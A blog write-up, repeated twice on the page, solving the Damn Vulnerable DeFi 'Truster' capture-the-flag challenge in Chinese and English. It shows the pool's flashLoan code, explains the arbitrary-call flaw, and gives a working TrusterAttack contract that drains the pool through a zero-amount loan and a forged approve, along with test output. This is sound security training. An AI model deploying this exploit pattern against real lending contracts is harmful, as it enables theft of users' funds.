web3maxi
web3maxi
Subscribe to Runstar
Subscribe to Runstar
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
Currently the pool has 1 million DVT tokens in balance. And you have nothing.
But don't worry, you might be able to take them all from the pool. In a single transaction.
目标: 取走闪电贷池中的100万个DVT token
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker has taken all tokens from the pool
expect(await this.token.balanceOf(attacker.address)).to.equal(TOKENS_IN_POOL);
expect(await this.token.balanceOf(this.pool.address)).to.equal("0");
});
TrusterLenderPool.sol 闪电贷池合约flashLoan 函数
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
) external nonReentrant {
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
borrowAmount - 借款金额, borrower - 借款地址
target - Call目标地址, data - Call的内容
常规闪电贷逻辑, 被nonReentrant保护
flashLoan 函数中的闪电贷逻辑本意为让我们通过target.functionCall(data)执行闪电贷套利操作并还款.
但target可以为任意地址, data可以写入任意内容. 如果我们借款0eth,就不需要在 target.functionCall(data)还款,因此可以用其执行任意操作.
为了取走闪电贷池中的所有DVT token,直接让闪电贷池合约通过target.functionCall(data) 完成对攻击者地址的DVT token approve授权,进而转走所有token
interface ITrusterLenderPool {
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
) external;
}
contract TrusterAttack {
ITrusterLenderPool pool;
IERC20 token;
uint256 poolBalance;
constructor(address _pool, address _token) {
pool = ITrusterLenderPool(_pool);
token = IERC20(_token);
poolBalance = token.balanceOf(address(pool));
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
poolBalance
);
pool.flashLoan(0, address(this), address(token), data);
token.transferFrom(address(pool), msg.sender, poolBalance);
}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackFactory = await ethers.getContractFactory("TrusterAttack", attacker);
// Run Exploit constructor.
await AttackFactory.deploy(this.pool.address, this.token.address);
});
运行通过
❯ yarn run truster
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/truster/truster.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/truster/truster.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Truster
✓ Exploit (700ms)
1 passing (2s)
Done in 4.84s.
**Twitter: @0xRunstar
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
Currently the pool has 1 million DVT tokens in balance. And you have nothing.
But don't worry, you might be able to take them all from the pool. In a single transaction.
目标: 取走闪电贷池中的100万个DVT token
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker has taken all tokens from the pool
expect(await this.token.balanceOf(attacker.address)).to.equal(TOKENS_IN_POOL);
expect(await this.token.balanceOf(this.pool.address)).to.equal("0");
});
TrusterLenderPool.sol 闪电贷池合约flashLoan 函数
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
) external nonReentrant {
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
borrowAmount - 借款金额, borrower - 借款地址
target - Call目标地址, data - Call的内容
常规闪电贷逻辑, 被nonReentrant保护
flashLoan 函数中的闪电贷逻辑本意为让我们通过target.functionCall(data)执行闪电贷套利操作并还款.
但target可以为任意地址, data可以写入任意内容. 如果我们借款0eth,就不需要在 target.functionCall(data)还款,因此可以用其执行任意操作.
为了取走闪电贷池中的所有DVT token,直接让闪电贷池合约通过target.functionCall(data) 完成对攻击者地址的DVT token approve授权,进而转走所有token
interface ITrusterLenderPool {
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
) external;
}
contract TrusterAttack {
ITrusterLenderPool pool;
IERC20 token;
uint256 poolBalance;
constructor(address _pool, address _token) {
pool = ITrusterLenderPool(_pool);
token = IERC20(_token);
poolBalance = token.balanceOf(address(pool));
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
poolBalance
);
pool.flashLoan(0, address(this), address(token), data);
token.transferFrom(address(pool), msg.sender, poolBalance);
}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackFactory = await ethers.getContractFactory("TrusterAttack", attacker);
// Run Exploit constructor.
await AttackFactory.deploy(this.pool.address, this.token.address);
});
运行通过
❯ yarn run truster
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/truster/truster.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/truster/truster.challenge.js
Compiling 1 file with 0.8.7
Compilation finished successfully
[Challenge] Truster
✓ Exploit (700ms)
1 passing (2s)
Done in 4.84s.
**Twitter: @0xRunstar
No activity yet